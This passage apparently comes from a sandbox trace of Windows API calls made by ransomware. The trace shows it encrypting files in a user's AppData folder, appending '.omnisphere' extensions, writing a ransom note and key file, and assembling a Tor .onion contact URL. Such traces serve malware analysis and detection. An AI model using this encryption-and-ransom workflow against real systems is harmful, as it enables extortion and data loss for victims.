pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.851] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.852] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.852] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.852] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.852] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.852] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.852] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.852] CryptDestroyKey (hKey=0x1639a28) returned 1 [0068.852] CryptReleaseContext (hProv=0x163bca0, dwFlags=0x0) returned 1 [0068.853] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x4093, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0068.853] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e6c8, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e6c8*=0x524, lpOverlapped=0x0) returned 1 [0068.853] GetProcessHeap () returned 0x1600000 [0068.853] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x28a) returned 0x16586b8 [0068.853] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\s5dkeFUgebSmSVLuL.gif" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\s5dkefugebsmsvlul.gif"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\s5dkeFUgebSmSVLuL.gif.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\s5dkefugebsmsvlul.gif.omnisphere")) returned 1 [0068.854] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\s5dkeFUgebSmSVLuL.gif.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\s5dkeFUgebSmSVLuL.gif.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\s5dkeFUgebSmSVLuL.gif.omnisphere.id" [0068.854] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\s5dkeFUgebSmSVLuL.gif.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\s5dkefugebsmsvlul.gif.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0068.855] WriteFile (in: hFile=0x3a8, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e150, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e150*=0x524, lpOverlapped=0x0) returned 1 [0068.856] CloseHandle (hObject=0x3a8) returned 1 [0068.856] UnmapViewOfFile (lpBaseAddress=0x3430000) returned 1 [0068.856] CloseHandle (hObject=0x3a4) returned 1 [0068.856] SetEndOfFile (hFile=0x3a0) returned 1 [0068.857] FlushFileBuffers (hFile=0x3a0) returned 1 [0068.861] CloseHandle (hObject=0x3a0) returned 1 [0068.862] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\s5dkeFUgebSmSVLuL.gif" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0068.862] GetProcessHeap () returned 0x1600000 [0068.862] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1658950 [0068.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0068.862] GetProcessHeap () returned 0x1600000 [0068.862] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16418b8 [0068.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16418b8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0068.862] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0068.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0068.862] GetProcessHeap () returned 0x1600000 [0068.862] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162fa30 [0068.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162fa30, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0068.862] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0068.862] GetProcessHeap () returned 0x1600000 [0068.862] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7e) returned 0x163b8e8 [0068.862] PathCombineW (in: pszDest=0x163b8e8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" [0068.862] GetProcessHeap () returned 0x1600000 [0068.862] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x165bfd0 [0068.862] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0068.862] WriteFile (in: hFile=0x3a0, lpBuffer=0x165bfd0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0e6e8, lpOverlapped=0x0 | out: lpBuffer=0x165bfd0*, lpNumberOfBytesWritten=0x3e0e6e8*=0x588, lpOverlapped=0x0) returned 1 [0068.862] CloseHandle (hObject=0x3a0) returned 1 [0068.863] GetProcessHeap () returned 0x1600000 [0068.863] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1658950 | out: hHeap=0x1600000) returned 1 [0068.863] GetProcessHeap () returned 0x1600000 [0068.863] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x74) returned 0x163f200 [0068.863] PathCombineW (in: pszDest=0x163f200, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" [0068.863] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0068.863] WriteFile (in: hFile=0x3a0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0e6fc, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0e6fc*=0x5a0, lpOverlapped=0x0) returned 1 [0068.863] CloseHandle (hObject=0x3a0) returned 1 [0068.863] GetProcessHeap () returned 0x1600000 [0068.863] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163f200 | out: hHeap=0x1600000) returned 1 [0068.863] GetProcessHeap () returned 0x1600000 [0068.863] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163c520 | out: hHeap=0x1600000) returned 1 [0068.863] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0e998 | out: lpFindFileData=0x3e0e998*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5c77649, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xd5c77649, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xd5c77649, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xed, cFileName="Skype", cAlternateFileName="")) returned 1 [0068.863] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0e998 | out: lpFindFileData=0x3e0e998*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43672f70, ftCreationTime.dwHighDateTime=0x1d4ce48, ftLastAccessTime.dwLowDateTime=0x9c62530, ftLastAccessTime.dwHighDateTime=0x1d4d20f, ftLastWriteTime.dwLowDateTime=0x9c62530, ftLastWriteTime.dwHighDateTime=0x1d4d20f, nFileSizeHigh=0x0, nFileSizeLow=0xabc4, dwReserved0=0x0, dwReserved1=0xed, cFileName="STG7KypQe_U5z55v6.wav", cAlternateFileName="STG7KY~1.WAV")) returned 1 [0068.864] GetProcessHeap () returned 0x1600000 [0068.864] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7a) returned 0x163b970 [0068.864] PathCombineW (in: pszDest=0x163b970, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="STG7KypQe_U5z55v6.wav" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\STG7KypQe_U5z55v6.wav") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\STG7KypQe_U5z55v6.wav" [0068.864] StrStrW (lpFirst=".omnisphere", lpSrch=".wav") returned 0x0 [0068.864] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\STG7KypQe_U5z55v6.wav" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\stg7kypqe_u5z55v6.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0068.864] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3e0e6c0 | out: lpFileSize=0x3e0e6c0*=43972) returned 1 [0068.864] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0xa6a0, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0068.864] ReadFile (in: hFile=0x3a0, lpBuffer=0x3e0e168, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0e6b0, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesRead=0x3e0e6b0*=0x524, lpOverlapped=0x0) returned 1 [0068.864] GetTickCount () returned 0x11517f9 [0068.864] GetTickCount () returned 0x11517f9 [0068.864] GetTickCount () returned 0x11517f9 [0068.864] GetTickCount () returned 0x11517f9 [0068.864] GetTickCount () returned 0x11517f9 [0068.864] GetTickCount () returned 0x11517f9 [0068.864] GetTickCount () returned 0x11517f9 [0068.864] GetTickCount () returned 0x11517f9 [0068.864] GetTickCount () returned 0x11517f9 [0068.864] GetTickCount () returned 0x11517f9 [0068.864] GetTickCount () returned 0x11517f9 [0068.864] GetTickCount () returned 0x11517f9 [0068.864] GetTickCount () returned 0x11517f9 [0068.864] GetTickCount () returned 0x11517f9 [0068.864] GetTickCount () returned 0x11517f9 [0068.864] GetTickCount () returned 0x11517f9 [0068.864] GetTickCount () returned 0x11517f9 [0068.865] GetTickCount () returned 0x11517f9 [0068.865] GetTickCount () returned 0x11517f9 [0068.865] GetTickCount () returned 0x11517f9 [0068.865] GetTickCount () returned 0x11517f9 [0068.865] GetTickCount () returned 0x11517f9 [0068.865] GetTickCount () returned 0x11517f9 [0068.865] GetTickCount () returned 0x11517f9 [0068.865] GetTickCount () returned 0x11517f9 [0068.865] GetTickCount () returned 0x11517f9 [0068.865] GetTickCount () returned 0x11517f9 [0068.865] GetTickCount () returned 0x11517f9 [0068.865] GetTickCount () returned 0x11517f9 [0068.865] GetTickCount () returned 0x11517f9 [0068.865] GetTickCount () returned 0x11517f9 [0068.865] GetTickCount () returned 0x11517f9 [0068.865] CryptAcquireContextW (in: phProv=0x3e0e148, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e148*=0x163bc18) returned 1 [0068.865] CryptImportKey (in: hProv=0x163bc18, pbData=0x3e0e0b0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e154 | out: phKey=0x3e0e154*=0x1639a28) returned 1 [0068.866] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x75, dwBufLen=0x80 | out: pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x80) returned 1 [0068.866] CryptDestroyKey (hKey=0x1639a28) returned 1 [0068.866] CryptReleaseContext (hProv=0x163bc18, dwFlags=0x0) returned 1 [0068.866] CreateFileMappingW (hFile=0x3a0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xabc4, lpName=0x0) returned 0x3a4 [0068.866] MapViewOfFile (hFileMappingObject=0x3a4, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xabc4) returned 0x3430000 [0068.866] CryptAcquireContextW (in: phProv=0x3e0e138, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e138*=0x163c520) returned 1 [0068.867] CryptImportKey (in: hProv=0x163c520, pbData=0x3e0e0f0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e148 | out: phKey=0x3e0e148*=0x1639868) returned 1 [0068.867] CryptSetKeyParam (hKey=0x1639868, dwParam=0x4, pbData=0x3e0e12c*=0x2, dwFlags=0x0) returned 1 [0068.867] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e134*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e134*=0x10) returned 1 [0068.867] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.867] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.867] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.867] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.867] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.867] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.867] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.867] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.867] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.867] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.867] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.867] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.867] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.867] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.867] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.867] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.867] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.868] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.868] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.868] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.868] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.868] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.868] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.868] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.868] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.868] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.868] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.868] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.868] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.868] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.868] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.868] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.868] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.868] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.868] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.869] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.869] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.869] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.869] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.869] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.869] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.869] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.869] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.869] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.869] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.869] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, 